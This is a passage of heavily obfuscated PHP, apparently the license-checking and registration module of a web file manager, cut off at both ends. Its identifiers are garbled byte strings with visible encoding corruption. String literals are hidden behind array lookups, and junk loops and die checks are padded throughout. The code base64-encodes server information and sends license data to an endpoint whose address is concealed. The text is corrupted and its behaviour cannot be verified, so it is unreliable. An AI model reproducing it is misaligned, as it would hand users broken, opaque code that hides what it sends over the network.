$¯í¬Î÷°) { $this->appRun($¯í¬Î÷°); } } private function ovzxb3d587ad() { $÷±¥ãÂ<C3A3> =& $_SERVER[ˆ¡¹µ‹Â]; $—˜¢ÌÎî =& $_SERVER[ Ãœáã¬]; $¦ËŽû“Ð = $—˜¢ÌÎî[4]; $É”‰øñÕ = $÷±¥ãÂ<C3A3>[693]; if (strlen($É”‰øñÕ) < $÷±¥ãÂ<C3A3>[689]) { die; } $çÝÖƒ<C396> = $GLOBALS[$—˜¢ÌÎî[13]][$—˜¢ÌÎî[14]][0]; if (!$çÝÖƒ<C396> || strlen($çÝÖƒ<C396>) <= strlen($¦ËŽû“Ð)) { return; } if (strtolower(substr($çÝÖƒ<C396>, -strlen($¦ËŽû“Ð))) != $¦ËŽû“Ð) { return; } $Á«ðñ‡© = substr($çÝÖƒ<C396>, 0, -strlen($¦ËŽû“Ð)); $É™öôîè = $÷±¥ãÂ<C3A3>[694]; if (!$É™öôîè) { return; } $äÆáëß<C3AB> = array($—˜¢ÌÎî[4], $Á«ðñ‡©); $Ô°â­À¾ = $÷±¥ãÂ<C3A3>[695]; $ƻγ޴ = array_slice($GLOBALS[$—˜¢ÌÎî[13]][$—˜¢ÌÎî[14]], 1); $GLOBALS[$—˜¢ÌÎî[13]][$—˜¢ÌÎî[14]] = array_merge($äÆáëß<C3AB>, $ƻγ޴); $GLOBALS[$—˜¢ÌÎî[13]][$—˜¢ÌÎî[15]] = implode($—˜¢ÌÎî[0], $GLOBALS[$—˜¢ÌÎî[13]][$—˜¢ÌÎî[14]]); } private function eidpaced8b54() { $Çð´¿Íá =& $_SERVER[ˆ¡¹µ‹Â]; $ÝÁ˜õÏÖ =& $_SERVER[ Ãœáã¬]; if ($GLOBALS[$ÝÁ˜õÏÖ[13]][$ÝÁ˜õÏÖ[15]] != $ÝÁ˜õÏÖ[6]) { return; } $´ïྦ  = $_SERVER[$ÝÁ˜õÏÖ[16]]; $ʺéõ„ = $Çð´¿Íá[696]; if (strlen($ʺéõ„) < $Çð´¿Íá[687]) { die; } $À¤”ìþÁ = $ÝÁ˜õÏÖ[17]; $³éãæÄÖ = $Çð´¿Íá[697]; if (!strstr($´ïྦ , $À¤”ìþÁ)) { return; } $»ø„·äì = strrpos($´ïྦ , $À¤”ìþÁ); $è›àË‘¥ = substr($´ïྦ , $»ø„·äì + strlen($À¤”ìþÁ)); preg_match_all($ÝÁ˜õÏÖ[18], $è›àË‘¥, $‹Ã˦æ¸); $è›àË‘¥ = trim($‹Ã˦æ¸[0][0], $ÝÁ˜õÏÖ[19]); $±¬“§ñÏ = $Çð´¿Íá[698]; while ($±¬“§ñÏ < $Çð´¿Íá[699]) { if ($±¬“§ñÏ >= 0) { break; } $±¬“§ñÏ++; } $GLOBALS[$ÝÁ˜õÏÖ[13]][$ÝÁ˜õÏÖ[14]] = explode($ÝÁ˜õÏÖ[19], $è›àË‘¥); $GLOBALS[$ÝÁ˜õÏÖ[13]][$ÝÁ˜õÏÖ[15]] = implode($ÝÁ˜õÏÖ[0], $GLOBALS[$ÝÁ˜õÏÖ[13]][$ÝÁ˜õÏÖ[14]]); $¿ÁÓþð› = $Çð´¿Íá[700]; while ($¿ÁÓþð› < $Çð´¿Íá[689]) { if ($¿ÁÓþð› >= 0) { break; } $¿ÁÓþð›++; } } public function run() { $ȧÖɽ€ =& $_SERVER[ˆ¡¹µ‹Â]; $ØÒêã¾Â =& $_SERVER[ Ãœáã¬]; $this->eidpaced8b54(); $this->ovzxb3d587ad(); $‰âŒ‚Ǻ = $GLOBALS[$ØÒêã¾Â[13]][$ØÒêã¾Â[14]]; $é³î‘Å = $GLOBALS[$ØÒêã¾Â[13]][$ØÒêã¾Â[15]]; define($ØÒêã¾Â[20], isset($‰âŒ‚Ǻ[0]) && $‰âŒ‚Ǻ[0] ? $‰âŒ‚Ǻ[0] : $this->defaultModule); define($ØÒêã¾Â[21], isset($‰âŒ‚Ǻ[1]) && $‰âŒ‚Ǻ[0] ? $‰âŒ‚Ǻ[1] : $this->defaultController); define($ØÒêã¾Â[22], isset($‰âŒ‚Ǻ[2]) && $‰âŒ‚Ǻ[0] ? $‰âŒ‚Ǻ[2] : $this->defaultAction); $‹„¹ø—É = $ȧÖɽ€[701]; while ($‹„¹ø—É < $ȧÖɽ€[692]) { if ($‹„¹ø—É >= 0) { break; } $‹„¹ø—É++; } define($ØÒêã¾Â[23], MOD . $ØÒêã¾Â[0] . ST . $ØÒêã¾Â[0] . ACT); $ôÒºžÌ<C5BE> = $ȧÖɽ€[702]; if (!$ôÒºžÌ<C5BE>) { die; } $_SERVER[$ØÒêã¾Â[24]] = strtolower(ACTION); $ ‡‡ðûÔ = $ȧÖɽ€[703]; if (!$ ‡‡ðûÔ) { die; } $this->autorun(); $õ<>䌎 = $ȧÖɽ€[704]; if (strlen($õ<>䌎) < $ȧÖɽ€[687]) { return; } if (count($‰âŒ‚Ǻ) >= 3) { $this->appRun($é³î‘Å); } else { $this->appRun(ACTION); } } private $goqzee6de40a = array(); private $fmaldf286b22 = ''; public function vwrfa50173b6() { $ÄÞú×­Ž =& $_SERVER[ˆ¡¹µ‹Â]; $<24><EFBFBD>Ìâß =& $_SERVER[ Ãœáã¬]; $this->agsme40eaea0(); $this->ibrmddab986e(); $¶Í†´Âž = $ÄÞú×­Ž[705]; while (strlen($¶Í†´Âž) < $ÄÞú×­Ž[689]) { if (!$¶Í†´Âž) { break; } $¶Í†´Âž++; } $this->tvjx70fd0a85(); $this->siwp7665cc9c(); $this->vzpe2014d4c5(); $this->owic59edf125(); $¾ê„¦¨• = $ÄÞú×­Ž[706]; while (strlen($¾ê„¦¨•) < $ÄÞú×­Ž[692]) { if (!$¾ê„¦¨•) { break; } $¾ê„¦¨•++; } $this->fdgq492341b8(); $ËÊ<C38B>“Úï = $ÄÞú×­Ž[707]; $this->uxkv77fc9f13($<24><EFBFBD>Ìâß[25], array($this, $<24><EFBFBD>Ìâß[26])); $this->uxkv77fc9f13($<24><EFBFBD>Ìâß[27], array($this, $<24><EFBFBD>Ìâß[28])); $˜éχÁ® = $ÄÞú×­Ž[708]; if (!$˜éχÁ®) { die; } $this->uxkv77fc9f13($<24><EFBFBD>Ìâß[29], array($this, $<24><EFBFBD>Ìâß[30])); $this->uxkv77fc9f13($<24><EFBFBD>Ìâß[31], array($this, $<24><EFBFBD>Ìâß[32])); } public function hzgn9232bf02($êÆѢ») { $ã…´Óª« =& $_SERVER[ˆ¡¹µ‹Â]; $禼…Éé =& $_SERVER[ Ãœáã¬]; $ðÝ†Ì£È = Model($禼…Éé[33])->get(); $œÆ‡üÚ² = array($禼…Éé[34], $禼…Éé[35], $禼…Éé[36], $禼…Éé[37], $禼…Éé[38], $禼…Éé[39], $禼…Éé[40], $禼…Éé[41], $禼…Éé[42], $禼…Éé[43], $禼…Éé[44], $禼…Éé[45], $禼…Éé[46], $禼…Éé[47], $禼…Éé[48], $禼…Éé[49], $禼…Éé[50], $禼…Éé[51], $禼…Éé[52], $禼…Éé[53], $禼…Éé[54], $禼…Éé[55], $禼…Éé[56], $禼…Éé[57], $禼…Éé[58], $禼…Éé[59], $禼…Éé[60], $禼…Éé[61], $禼…Éé[62], $禼…Éé[63], $禼…Éé[64], $禼…Éé[65], $禼…Éé[66], $禼…Éé[67], $禼…Éé[68], $禼…Éé[69], $禼…Éé[70], $禼…Éé[71], $禼…Éé[72], $禼…Éé[73], $禼…Éé[74], $禼…Éé[75], $禼…Éé[76], $禼…Éé[77], $禼…Éé[78], $禼…Éé[79], $禼…Éé[80], $禼…Éé[81], $禼…Éé[82], $禼…Éé[83], $禼…Éé[84], $禼…Éé[85]); foreach ($œÆ‡üÚ² as $þœÇ‹Æ­) { $ЧÔòÙ¿ = $GLOBALS[$禼…Éé[86]][$禼…Éé[87]][$þœÇ‹Æ­]; if (isset($ð݆̣È[$þœÇ‹Æ­])) { $ЧÔòÙ¿ = $ð݆̣È[$þœÇ‹Æ­]; } $êÆѢ»[$禼…Éé[88]][$禼…Éé[89]][$þœÇ‹Æ­] = $ЧÔòÙ¿; } $´Ý—òȱ = $êÆѢ»[$禼…Éé[88]][$禼…Éé[89]][$禼…Éé[46]]; $©Î½ = $ã…´Óª«[709]; if (strlen($©Î½) < $ã…´Óª«[689]) { return; } unset($êÆѢ»[$禼…Éé[88]][$禼…Éé[90]][$禼…Éé[91]]); $•êË­ª¯ = $ã…´Óª«[710]; if (!$•êË­ª¯) { return; } unset($êÆѢ»[$禼…Éé[88]][$禼…Éé[90]][$禼…Éé[92]]); $ܯ<C39C>Èï<C388> = $ã…´Óª«[711]; unset($êÆѢ»[$禼…Éé[88]][$禼…Éé[89]][$禼…Éé[46]]); $äÚ„ÅͲ = $ã…´Óª«[712]; if (!$äÚ„ÅͲ) { return; } unset($êÆѢ»[$禼…Éé[88]][$禼…Éé[89]][$禼…Éé[93]]); $ãõà“«ò = $ã…´Óª«[713]; if (!$ãõà“«ò) { return; } $êÆѢ»[$禼…Éé[88]][$禼…Éé[89]][$禼…Éé[94]] = array($禼…Éé[95] => (int) $´Ý—òȱ[$禼…Éé[96]], $禼…Éé[97] => (int) _get($´Ý—òȱ, $禼…Éé[98], 0)); $•©í•ð“ = $ã…´Óª«[714]; if (strlen($•©í•ð“) < $ã…´Óª«[692]) { die; } $ÒˆÛêÖÏ = substr(md5($禼…Éé[99] . get_client_ip() . $ð݆̣È[$禼…Éé[100]]), 0, 15); $éóô­¥‡ = $ã…´Óª«[715]; while (strlen($éóô­¥‡) < $ã…´Óª«[687]) { if (!$éóô­¥‡) { break; } $éóô­¥‡++; } $êÆѢ»[$禼…Éé[101]][$禼…Éé[102]] = Mcrypt::encode(Session::sign(), $ÒˆÛêÖÏ, 3600 * 24); $êÆѢ»[$禼…Éé[101]][$禼…Éé[103]] = Action($禼…Éé[104])->accessToken(); $ÈDz <C2B2>£ = $ã…´Óª«[716]; if (!$ÈDz <C2B2>£) { die; } $êÆѢ»[$禼…Éé[101]][$禼…Éé[105]] = md5($_SERVER[$禼…Éé[106]] . $ð݆̣È[$禼…Éé[100]]); $êÆѢ»[$禼…Éé[101]][$禼…Éé[107]] = base64_encode(serverInfo()); $êÆѢ»[$禼…Éé[101]][$禼…Éé[108]] = $this->fmaldf286b22; $<24>È<EFBFBD>É¥Û = $ã…´Óª«[717]; if (!$<24>È<EFBFBD>É¥Û) { return; } if ($ð݆̣È[$禼…Éé[108]] != $禼…Éé[109]) { $êÆѢ»[$禼…Éé[101]][$禼…Éé[110]] = $ð݆̣È[$禼…Éé[110]]; $êÆѢ»[$禼…Éé[101]][$禼…Éé[111]] = $ð݆̣È[$禼…Éé[111]]; $¹¶ž™ñå = rand_string(10) . $this->fmaldf286b22 . rand_string(5); $êÆѢ»[$禼…Éé[88]][$禼…Éé[112]][$禼…Éé[113]] = $this->jdncf0daa323($¹¶ž™ñå, $êÆѢ»[$禼…Éé[101]][$禼…Éé[105]]); } if ($this->fmaldf286b22 == $禼…Éé[109]) { $êÆѢ»[$禼…Éé[88]][$禼…Éé[89]][$禼…Éé[94]][$禼…Éé[98]] = 0; } $êÆѢ»[$禼…Éé[101]][$禼…Éé[114]] = $this->versionPluginFilter(); $êÆѢ»[$禼…Éé[101]][$禼…Éé[115]] = _get($this->goqzee6de40a, $禼…Éé[116], $禼…Éé[6]); $¢«æÈÌš = $ã…´Óª«[718]; if (!$¢«æÈÌš) { return; } if (KodUser::isRoot() && $this->config[$禼…Éé[117]]) { $êÆѢ»[$禼…Éé[101]][$禼…Éé[118]] = WEB_ROOT; } return $êÆѢ»; } private function owic59edf125() { $<24>š<EFBFBD>îùù =& $_SERVER[ˆ¡¹µ‹Â]; $ƒÅ´Ðµª =& $_SERVER[ Ãœáã¬]; $’‘â×Âç = $_SERVER[$ƒÅ´Ðµª[24]] == $ƒÅ´Ðµª[119]; if ($_SERVER[$ƒÅ´Ðµª[24]] == $ƒÅ´Ðµª[120] && $_GET[$ƒÅ´Ðµª[121]] == $ƒÅ´Ðµª[122]) { $’‘â×Âç = !0; } if ($’‘â×Âç) { $¯ ‡«»È = array($ƒÅ´Ðµª[108] => $this->fmaldf286b22, $ƒÅ´Ðµª[123] => $this->oqdma4d4d1df(), $ƒÅ´Ðµª[124] => Model($ƒÅ´Ðµª[125])->count()); if ($this->fmaldf286b22 != $ƒÅ´Ðµª[109]) { $ÂÅÀÛ›ç = _get($this->goqzee6de40a, $ƒÅ´Ðµª[126]); if ($ÂÅÀÛ›ç) { $¯ ‡«»È[$ƒÅ´Ðµª[127]] = $ÂÅÀÛ›ç; $¯ ‡«»È[$ƒÅ´Ðµª[128]] = strtotime(_get($this->goqzee6de40a, $ƒÅ´Ðµª[129])); $¯ ‡«»È[$ƒÅ´Ðµª[130]] = _get($this->goqzee6de40a, $ƒÅ´Ðµª[116]); } $òï‹’„– = Model($ƒÅ´Ðµª[33])->get($ƒÅ´Ðµª[131], $ƒÅ´Ðµª[6], !0); if (is_string($òï‹’„–) && substr($òï‹’„–, 0, 1) == $ƒÅ´Ðµª[132]) { $òï‹’„– = json_decode_force($òï‹’„–); } if (is_array($òï‹’„–) && $òï‹’„–[$ƒÅ´Ðµª[133]] && strstr($òï‹’„–[$ƒÅ´Ðµª[133]], $ƒÅ´Ðµª[134])) { $žæÊæ•Ç = explode($ƒÅ´Ðµª[134], $òï‹’„–[$ƒÅ´Ðµª[133]]); $¯ ‡«»È[$ƒÅ´Ðµª[135]] = $žæÊæ•Ç[0]; } } $¯ ‡«»È = $this->butf4e080185(json_encode($¯ ‡«»È), md5($ƒÅ´Ðµª[136])); $÷¯©š’ú = array($ƒÅ´Ðµª[137] => $¯ ‡«»È); $¶Šàä<C3A4> = $<24>š<EFBFBD>îùù[719]; call_user_func(array($ƒÅ´Ðµª[138], $ƒÅ´Ðµª[139]), $÷¯©š’ú); } if ($this->fmaldf286b22 == $ƒÅ´Ðµª[109]) { return; } $áîè§<C3A8> = array($ƒÅ´Ðµª[140], $ƒÅ´Ðµª[141], $ƒÅ´Ðµª[142], $ƒÅ´Ðµª[143], $ƒÅ´Ðµª[144], $ƒÅ´Ðµª[145]); $¯ÌÛÁÒ› = $<24>š<EFBFBD>îùù[720]; if (strlen($¯ÌÛÁÒ›) < $<24>š<EFBFBD>îùù[687]) { die; } $<24>ÇúÅèÚ = Model($ƒÅ´Ðµª[33])->get(); $ÓàœÌ<C593> = $<24>š<EFBFBD>îùù[721]; if (!$ÓàœÌ<C593>) { return; } $÷¯©š’ú = array($ƒÅ´Ðµª[146] => $<24>ÇúÅèÚ[$ƒÅ´Ðµª[34]], $ƒÅ´Ðµª[147] => $<24>ÇúÅèÚ[$ƒÅ´Ðµª[35]], $ƒÅ´Ðµª[148] => $ƒÅ´Ðµª[6]); $ÑñÛÍó› = $<24>š<EFBFBD>îùù[722]; foreach ($áîè§<C3A8> as $Éø®ÀÚ<C380>) { if (!isset($<24>ÇúÅèÚ[$Éø®ÀÚ<C380>]) || !$<24>ÇúÅèÚ[$Éø®ÀÚ<C380>]) { continue; } $÷¯©š’ú[$Éø®ÀÚ<C380>] = $<24>ÇúÅèÚ[$Éø®ÀÚ<C380>]; $õ<>ÂÞ±Ÿ = $<24>š<EFBFBD>îùù[723]; if (strlen($õ<>ÂÞ±Ÿ) < $<24>š<EFBFBD>îùù[699]) { return; } } call_user_func(array($ƒÅ´Ðµª[138], $ƒÅ´Ðµª[139]), $÷¯©š’ú); $ƒî²Ìüê = $<24>š<EFBFBD>îùù[724]; if (strlen($ƒî²Ìüê) < $<24>š<EFBFBD>îùù[687]) { return; } } private function siwp7665cc9c() { $¥¹Š“íƒ =& $_SERVER[ˆ¡¹µ‹Â]; $«¹½Þ©Á =& $_SERVER[ Ãœáã¬]; if ($_SERVER[$«¹½Þ©Á[24]] != $«¹½Þ©Á[149]) { return; } if (!KodUser::isRoot()) { die; } $ÉÛ—¦ËŽ = $GLOBALS[$«¹½Þ©Á[13]]; if (isset($ÉÛ—¦ËŽ[$«¹½Þ©Á[150]])) { $this->aveg04054a67(); die; } if (isset($ÉÛ—¦ËŽ[$«¹½Þ©Á[151]]) && isset($ÉÛ—¦ËŽ[$«¹½Þ©Á[151]]) == $«¹½Þ©Á[122]) { $ÉÛ—¦ËŽ[$«¹½Þ©Á[152]] = Model($«¹½Þ©Á[33])->get($«¹½Þ©Á[153]); } if (!isset($ÉÛ—¦ËŽ[$«¹½Þ©Á[152]]) || strlen($ÉÛ—¦ËŽ[$«¹½Þ©Á[152]]) != 16) { show_json($«¹½Þ©Á[154] . $ÉÛ—¦ËŽ[$«¹½Þ©Á[152]], !1); } $ãš¾† Þ = Model($«¹½Þ©Á[33])->get($«¹½Þ©Á[100]); $óùªû˜ï = md5($_SERVER[$«¹½Þ©Á[106]] . $ãš¾† Þ); $šð”‰¯œ = array($«¹½Þ©Á[152] => $ÉÛ—¦ËŽ[$«¹½Þ©Á[152]], $«¹½Þ©Á[155] => rand_string(16), $«¹½Þ©Á[156] => $«¹½Þ©Á[136], $«¹½Þ©Á[157] => $«¹½Þ©Á[158], $«¹½Þ©Á[159] => $_SERVER[$«¹½Þ©Á[160]], $«¹½Þ©Á[161] => $_SERVER[$«¹½Þ©Á[162]], $«¹½Þ©Á[163] => $_SERVER[$«¹½Þ©Á[164]], $«¹½Þ©Á[105] => $óùªû˜ï, $«¹½Þ©Á[165] => Model($«¹½Þ©Á[33])->get($«¹½Þ©Á[131])); if (isset($ÉÛ—¦ËŽ[$«¹½Þ©Á[151]]) && isset($ÉÛ—¦ËŽ[$«¹½Þ©Á[151]]) == $«¹½Þ©Á[122]) { $šð”‰¯œ[$«¹½Þ©Á[151]] = md5($šð”‰¯œ[$«¹½Þ©Á[152]] . $«¹½Þ©Á[166] . $šð”‰¯œ[$«¹½Þ©Á[155]]); } if ($ÉÛ—¦ËŽ[$«¹½Þ©Á[167]] == $«¹½Þ©Á[168]) { $·ÝÑñ«Ä = $this->butf4e080185($óùªû˜ï, $«¹½Þ©Á[169]); $™º™Ÿ<E284A2>½ = $this->jdncf0daa323(json_encode($šð”‰¯œ), $óùªû˜ï . $«¹½Þ©Á[170], 3); $™º™Ÿ<E284A2>½ = $™º™Ÿ<E284A2>½ . $«¹½Þ©Á[171] . $_SERVER[$«¹½Þ©Á[160]]; $Ψöè¸Õ = $this->bjuec3f47b28($«¹½Þ©Á[172] . $·ÝÑñ«Ä . $«¹½Þ©Á[173] . $™º™Ÿ<E284A2>½, -1); show_json($Ψöè¸Õ, !0); } else { if ($ÉÛ—¦ËŽ[$«¹½Þ©Á[167]] == $«¹½Þ©Á[174]) { $‰›ÁºÕÁ = substr(md5($«¹½Þ©Á[175] . $óùªû˜ï), 12, 15) . $«¹½Þ©Á[176]; $™º™Ÿ<E284A2>½ = $this->riht7b89a64e(trim($ÉÛ—¦ËŽ[$«¹½Þ©Á[177]]), $‰›ÁºÕÁ, 2); $Øêõ£Ú” = json_decode($™º™Ÿ<E284A2>½, !0); if (!is_array($Øêõ£Ú”) || !is_array($Øêõ£Ú”[$«¹½Þ©Á[178]]) || $Øêõ£Ú”[$«¹½Þ©Á[152]] != !0) { $§ò¥<C3B2>ÄÈ = $«¹½Þ©Á[179]; $…™Í«¨¢ = $Øêõ£Ú”[$«¹½Þ©Á[178]] ? $«¹½Þ©Á[180] . $Øêõ£Ú”[$«¹½Þ©Á[178]] : $§ò¥<C3B2>ÄÈ; show_json($…™Í«¨¢, !1); } else { $šð”‰¯œ[$«¹½Þ©Á[155]] = $Øêõ£Ú”[$«¹½Þ©Á[178]][$«¹½Þ©Á[181]]; } } else { $Øêõ£Ú” = $this->bjuec3f47b28($«¹½Þ©Á[182], $šð”‰¯œ, 10); } } if (!is_array($Øêõ£Ú”) || !is_array($Øêõ£Ú”[$«¹½Þ©Á[178]]) || $Øêõ£Ú”[$«¹½Þ©Á[152]] != !0) { $§ò¥<C3B2>ÄÈ = LNG($«¹½Þ©Á[183]); $…™Í«¨¢ = $Øêõ£Ú”[$«¹½Þ©Á[178]] ? $«¹½Þ©Á[180] . $Øêõ£Ú”[$«¹½Þ©Á[178]] : $§ò¥<C3B2>ÄÈ; show_json($…™Í«¨¢, !1); } $ÖÊëëšý = $Øêõ£Ú”[$«¹½Þ©Á[178]]; $ìϪ±æÓ = $this->wzcp5224ff0a($ÖÊëëšý[$«¹½Þ©Á[184]]); $ú<>ÞÜ— = $¥¹Š“íƒ[725]; if (!$ú<>ÞÜ—) { die; } if (!$ìϪ±æÓ || $ìϪ±æÓ != $ÖÊëëšý[$«¹½Þ©Á[129]]) { $¦ö°æÊ¹ = array($«¹½Þ©Á[185] => Model($«¹½Þ©Á[33])->get($«¹½Þ©Á[100]), $«¹½Þ©Á[186] => $_SERVER[$«¹½Þ©Á[106]], $«¹½Þ©Á[187] => this_url(), $«¹½Þ©Á[161] => $_SERVER[$«¹½Þ©Á[162]]); $™º™Ÿ<E284A2>½ = $this->wkij18ea694e(json_encode($¦ö°æÊ¹)); $this->bjuec3f47b28($«¹½Þ©Á[188] . $™º™Ÿ<E284A2>½); show_json(LNG($«¹½Þ©Á[189]), !0); } $’É€¼Ó‚ = array($«¹½Þ©Á[153] => $ÖÊëëšý[$«¹½Þ©Á[190]], $«¹½Þ©Á[191] => $ÖÊëëšý[$«¹½Þ©Á[192]], $«¹½Þ©Á[193] => rand_string(16), $«¹½Þ©Á[108] => $ÖÊëëšý[$«¹½Þ©Á[194]]); if ($šð”‰¯œ[$«¹½Þ©Á[155]]) { $’É€¼Ó‚[$«¹½Þ©Á[193]] = $šð”‰¯œ[$«¹½Þ©Á[155]]; } $Øòí³Ì¼ = substr(md5($’É€¼Ó‚[$«¹½Þ©Á[191]]), 10, 10); $‹÷çı‚ = $Øòí³Ì¼ . $’É€¼Ó‚[$«¹½Þ©Á[108]] . $’É€¼Ó‚[$«¹½Þ©Á[193]]; $ùþ<C3B9>°òÆ = $¥¹Š“íƒ[726]; while ($ùþ<C3B9>°òÆ < $¥¹Š“íƒ[687]) { if ($ùþ<C3B9>°òÆ >= 0) { break; } $ùþ<C3B9>°òÆ++; } $’É€¼Ó‚[$«¹½Þ©Á[110]] = strrev(base64_encode($this->butf4e080185($‹÷çı‚, $«¹½Þ©Á[195]))); $¾¡úƒË— = rand_string(16); $Õ†“Çò• = $¥¹Š“íƒ[727]; $冱÷µË = $¾¡úƒË— . $’É€¼Ó‚[$«¹½Þ©Á[108]] . $this->butf4e080185(md5($’É€¼Ó‚[$«¹½Þ©Á[153]]), $¾¡úƒË—); $’É€¼Ó‚[$«¹½Þ©Á[111]] = base64_encode(strrev($this->butf4e080185($冱÷µË, $«¹½Þ©Á[196]))); $Û¤ºæüå = $¥¹Š“íƒ[728]; while ($Û¤ºæüå < $¥¹Š“íƒ[689]) { if ($Û¤ºæüå >= 0) { break; } $Û¤ºæüå++; } if ($ÖÊëëšý[$«¹½Þ©Á[197]] && $ÖÊëëšý[$«¹½Þ©Á[197]] >= 1) { Model($«¹½Þ©Á[33])->setDeep($«¹½Þ©Á[198], $«¹½Þ©Á[122]); } Model($«¹½Þ©Á[33])->set($’É€¼Ó‚); $쎪ïªù = md5($_SERVER[$«¹½Þ©Á[106]] . strrev($ãš¾† Þ) . $’É€¼Ó‚[$«¹½Þ©Á[191]]); $<24>ºíÅЉ = strrev(substr($쎪ïªù, 10, 16)); $¢¨‡¤äË = $this->jdncf0daa323(json_encode($ÖÊëëšý), $쎪ïªù); $ë¡÷êêÁ = array_to_keyvalue(Model($«¹½Þ©Á[7])->listData(), $«¹½Þ©Á[199]); $ëô·äšî = $ë¡÷êêÁ[$«¹½Þ©Á[200]]; $©Õ¯§•© = array(); $ñâÌ<C38C> = $¥¹Š“íƒ[729]; if (strlen($ñâÌ<C38C>) < $¥¹Š“íƒ[687]) { die; } $©Õ¯§•©[$<24>ºíÅЉ] = $¢¨‡¤äË; $úȵßç = $¥¹Š“íƒ[730]; Model($«¹½Þ©Á[7])->update($ëô·äšî[$«¹½Þ©Á[201]], array($«¹½Þ©Á[202] => $©Õ¯§•©)); $®»³¿€é = $¥¹Š“íƒ[731]; while ($®»³¿€é < $¥¹Š“íƒ[687]) { if ($®»³¿€é >= 0) { break; } $®»³¿€é++; } $this->goqzee6de40a = $ÖÊëëšý; $î´Ìö­É = $¥¹Š“íƒ[732]; while (strlen($î´Ìö­É) < $¥¹Š“íƒ[683]) { if (!$î´Ìö­É) { break; } $î´Ìö­É++; } $this->fmaldf286b22 = $’É€¼Ó‚[$«¹½Þ©Á[108]]; $Ì©Çå‡Û = $¥¹Š“íƒ[733]; while (strlen($Ì©Çå‡Û) < $¥¹Š“íƒ[683]) { if (!$Ì©Çå‡Û) { break; } $Ì©Çå‡Û++; } $this->licenseRegistSuccess(); Cache::set($«¹½Þ©Á[203] . md5($ãš¾† Þ . $«¹½Þ©Á[204]), $«¹½Þ©Á[6]); $Üõ†êÛ‰ = $¥¹Š“íƒ[734]; show_json(LNG($«¹½Þ©Á[189]), !0); $Œ<>ßëª = $¥¹Š“íƒ[735]; while (strlen($Œ<>ßëª) < $¥¹Š“íƒ[699]) { if (!$Œ<>ßëª) { break; } $Œ<>ßëª++; } } private function licenseRegistSuccess() { $î´™ô—ë =& $_SERVER[ Ãœáã¬]; $à¢åÞŸ’ = Model($î´™ô—ë[33])->get(); if ($à¢åÞŸ’[$î´™ô—ë[63]] != $î´™ô—ë[122]) { Model($î´™ô—ë[33])->set($î´™ô—ë[63], $î´™ô—ë[122]); } Action($î´™ô—ë[205])->initStart(!0); } private function aveg04054a67() { $ž„‘¦ä€ =& $_SERVER[ Ãœáã¬]; Model($ž„‘¦ä€[33])->set(array($ž„‘¦ä€[153] => $ž„‘¦ä€[6], $ž„‘¦ä€[191] => $ž„‘¦ä€[6], $ž„‘¦ä€[108] => $ž„‘¦ä€[109], $ž„‘¦ä€[110] => $ž„‘¦ä€[6], $ž„‘¦ä€[111] => $ž„‘¦ä€[6])); $õŒ¬À°› = $_SERVER[ˆ¡¹µ‹Â][736]; if (!$õŒ¬À°›) { die; } Model($ž„‘¦ä€[33])->setDeep($ž„‘¦ä€[198], $ž„‘¦ä€[206]); $this->goqzee6de40a = array(); $this->fmaldf286b22 = $ž„‘¦ä€[109]; } private function agsme40eaea0() { $É£þ¿Ù£ =& $_SERVER[ˆ¡¹µ‹Â]; $Û÷Єîá =& $_SERVER[ Ãœáã¬]; $_SERVER[$Û÷Єîá[162]] = _get($_SERVER, $Û÷Єîá[162], APP_HOST); $this->fmaldf286b22 = $Û÷Єîá[109]; $àž¹ŸŽ› = $É£þ¿Ù£[737]; $ûÖÉ…ôž = Model($Û÷Єîá[33])->get(); if ($ûÖÉ…ôž[$Û÷Єîá[108]] == $Û÷Єîá[109]) { return; } $Á„–¨¯‚ = Model($Û÷Єîá[33])->get($Û÷Єîá[100]); $ŒÌŸ®á<C2AE> = $Û÷Єîá[203] . md5($Á„–¨¯‚ . $Û÷Єîá[204]); $ÛìÍü<C38D>‰ = $É£þ¿Ù£[738]; if (!$ÛìÍü<C38D>‰) { die; } $þ¯ì¸êÛ = Cache::get($ŒÌŸ®á<C2AE>); if (!is_array($þ¯ì¸êÛ) || !isset($þ¯ì¸êÛ[$Û÷Єîá[207]]) || time() - $þ¯ì¸êÛ[$Û÷Єîá[207]] >= 60) { $¬«Ï¸À¢ = Model($Û÷Єîá[7])->loadList(); $¿²É´±Ì = $¬«Ï¸À¢[$Û÷Єîá[200]]; $í©òìàù = md5($_SERVER[$Û÷Єîá[106]] . strrev($Á„–¨¯‚) . $ûÖÉ…ôž[$Û÷Єîá[191]]); $üõ¢éœ³ = strrev(substr($í©òìàù, 10, 16)); $þ¯ì¸êÛ = $this->riht7b89a64e($¿²É´±Ì[$Û÷Єîá[86]][$üõ¢éœ³], $í©òìàù); $þ¯ì¸êÛ = json_decode($þ¯ì¸êÛ, !0); } if (!is_array($þ¯ì¸êÛ)) { return $this->aveg04054a67(); } $¤ªîÒ§î = strtotime($þ¯ì¸êÛ[$Û÷Єîá[129]]); if (time() >= $¤ªîÒ§î) { return $this->aveg04054a67(); } if (!isset($þ¯ì¸êÛ[$Û÷Єîá[207]]) || time() - $þ¯ì¸êÛ[$Û÷Єîá[207]] > 20) { $þ¯ì¸êÛ[$Û÷Єîá[207]] = time(); Cache::set($ŒÌŸ®á<C2AE>, $þ¯ì¸êÛ); } $this->goqzee6de40a = $þ¯ì¸êÛ; $this->fmaldf286b22 = $ûÖÉ…ôž[$Û÷Єîá[108]]; $‚ýùð£é = $É£þ¿Ù£[739]; } private function ibrmddab986e() { $­Œ¢¹<C2A2><C2B9> =& $_SERVER[ Ãœáã¬]; $éØÜø»û = $GLOBALS[$­Œ¢¹<C2A2><C2B9>[13]]; $¾÷Æ±ÏÆ = $_SERVER[$­Œ¢¹<C2A2><C2B9>[24]]; if ($¾÷Æ±ÏÆ == $­Œ¢¹<C2A2><C2B9>[208] && $this->fmaldf286b22 == $­Œ¢¹<C2A2><C2B9>[109]) { show_json(LNG($­Œ¢¹<C2A2><C2B9>[209]), !1, $­Œ¢¹<C2A2><C2B9>[210]); } $ëÃ<C3AB> Ò÷ = array($­Œ¢¹<C2A2><C2B9>[211], $­Œ¢¹<C2A2><C2B9>[212]); if (in_array($¾÷Æ±ÏÆ, $ëÃ<C3AB> Ò÷)) { if ($this->fmaldf286b22 == $­Œ¢¹<C2A2><C2B9>[109] && isset($éØÜø»û[$­Œ¢¹<C2A2><C2B9>[213]])) { show_json(LNG($­Œ¢¹<C2A2><C2B9>[209]), !1, $­Œ¢¹<C2A2><C2B9>[210]); die; } $º¸º†<C2BA>â = $this->oqdma4d4d1df(); if ($º¸º†<C2BA>â != intval($­Œ¢¹<C2A2><C2B9>[214])) { if 